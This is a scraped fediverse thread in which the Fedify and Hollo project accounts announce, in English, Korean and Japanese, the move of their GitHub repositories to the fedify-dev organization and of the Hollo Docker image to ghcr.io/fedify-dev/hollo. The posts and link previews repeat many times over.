저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

  • 기존 이미지 주소: ghcr.io/dahlia/hollo:latest
  • 새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hongminhee@hollo.social

Sharing an important update about : we've moved our repository to a new home! If you're using Hollo with , please check this announcement:

https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd

hollo.social

The #Hollo repository has move…

The #Hollo repository has moved from [@dahlia/hollo] to [@fedify-dev/hollo]! Along with this move, our #Docker image registry has also been relocated from [ghcr.io/dahlia/hollo] to [ghcr.io/fedify-dev/hollo]. While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address. To update your Docker configurations, please change: - From: `ghcr.io/dahlia/hollo:latest` - To: `ghcr.io/fedify-dev/hollo:latest` The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo: #fediverse [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

@hollo@hollo.social · Reply to Hollo :hollo:

저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

  • 기존 이미지 주소: ghcr.io/dahlia/hollo:latest
  • 새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hongminhee@hollo.social

Sharing an important update about : we've moved our repository to a new home! If you're using Hollo with , please check this announcement:

https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd

hollo.social

The #Hollo repository has move…

The #Hollo repository has moved from [@dahlia/hollo] to [@fedify-dev/hollo]! Along with this move, our #Docker image registry has also been relocated from [ghcr.io/dahlia/hollo] to [ghcr.io/fedify-dev/hollo]. While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address. To update your Docker configurations, please change: - From: `ghcr.io/dahlia/hollo:latest` - To: `ghcr.io/fedify-dev/hollo:latest` The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo: #fediverse [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

@hollo@hollo.social · Reply to Hollo :hollo:

저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

  • 기존 이미지 주소: ghcr.io/dahlia/hollo:latest
  • 새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。

旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。

Dockerの設定を以下のように更新してください:

  • 旧アドレス:ghcr.io/dahlia/hollo:latest
  • 新アドレス:ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

  • 기존 이미지 주소: ghcr.io/dahlia/hollo:latest
  • 새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social · Reply to Hollo :hollo:

Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。

旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。

Dockerの設定を以下のように更新してください:

  • 旧アドレス:ghcr.io/dahlia/hollo:latest
  • 新アドレス:ghcr.io/fedify-dev/hollo:latest

この移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hollo@hollo.social

The repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

